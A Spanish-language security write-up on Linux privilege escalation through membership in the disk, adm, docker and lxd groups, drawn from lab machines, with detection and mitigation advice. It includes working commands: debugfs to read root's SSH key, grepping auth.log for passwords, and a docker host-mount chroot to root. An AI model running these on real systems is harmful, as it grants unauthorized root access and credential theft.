1. Descripción técnica
En Linux, la pertenencia de un usuario a ciertos grupos del sistema otorga capacidades que pueden derivar en escalada de privilegios, incluso sin necesidad de sudo o binarios SUID. Si un usuario sin privilegios pertenece (por configuración indebida) a uno de estos grupos, puede abusar de los permisos asociados para leer datos sensibles o convertirse en root. Los más relevantes:
disk: acceso de bajo nivel a dispositivos de bloque. Según los permisos del dispositivo y la herramienta disponible, puede eludir controles del sistema de archivos montado.adm: lectura de logs del sistema. El impacto depende de que esos registros contengan información sensible.shadow: acceso a hashes de/etc/shadow, que todavía deben recuperarse mediante cracking o reutilización.docker: control del daemon. Si éste opera como root y permite contenedores con montajes del host, puede equivaler a acceso root.lxd/lxc: control sobre contenedores y dispositivos. Un contenedor privilegiado con el host montado puede cruzar el límite hacia el sistema anfitrión.video,sudo,wheel,staff: conceden capacidades diferentes y requieren analizar permisos concretos, no asumir una escalada automática.
2. Impacto de la vulnerabilidad
- Escalada de privilegios a root (directa con
docker/lxd/disk) o lectura de material sensible que conduce a root (adm,shadow). - Lectura arbitraria de archivos saltándose los permisos (con
disk).
3. Condiciones necesarias
- Un usuario sin privilegios incluido en un grupo privilegiado sin necesitarlo realmente.
- Las herramientas necesarias disponibles (
debugfs,docker,lxc, etc.).
4. Validación y detección
id # ¿pertenezco a disk, adm, docker, lxd, shadow...?
groupsHerramientas como LinPEAS destacan automáticamente la pertenencia a grupos peligrosos.
5. Mitigación
- Aplicar el principio de mínimo privilegio: no añadir usuarios a grupos del sistema salvo necesidad real.
- Revisar periódicamente las pertenencias a
disk,adm,docker,lxd,shadow. - Restringir el acceso a las herramientas que habilitan el abuso.
6. Explotación documentada
6.1 Grupo disk: 05-ready, 033-medusa y 002-satori
El acceso al dispositivo de bloque permite usar debugfs para leer una clave SSH de root sin pasar por los permisos del sistema de archivos montado:
ben@ready:/var/www/html$ id
uid=1000(ben) gid=1000(ben) groups=1000(ben),6(disk)
ben@ready:/var/www/html$ df -h
/dev/sda1 6.9G 1.7G 4.8G 26% /
ben@ready:/var/www/html$ debugfs /dev/sda1
cat /root/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
...6.2 Grupo adm: 08-hit
La lectura de auth.log revela una contraseña introducida por error como nombre de usuario:
charlie@hit:/$ id
uid=1000(charlie) gid=1000(charlie) grupos=1000(charlie),4(adm)
charlie@hit:/var/log$ cat auth.log | grep pass
... Failed password for invalid user r00tP4zzw0rd from ...6.3 Grupos docker y lxd
En 007-pwned y 11-arpon, el grupo docker permite montar el host dentro de un contenedor. 040-codeshield documenta la variante con un contenedor LXD privilegiado:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh7. Clasificación
- Tipo: Privilege Escalation / Security Misconfiguration
- CWE:
- CWE-250: Execution with Unnecessary Privileges
- CWE-266: Incorrect Privilege Assignment for Critical Resource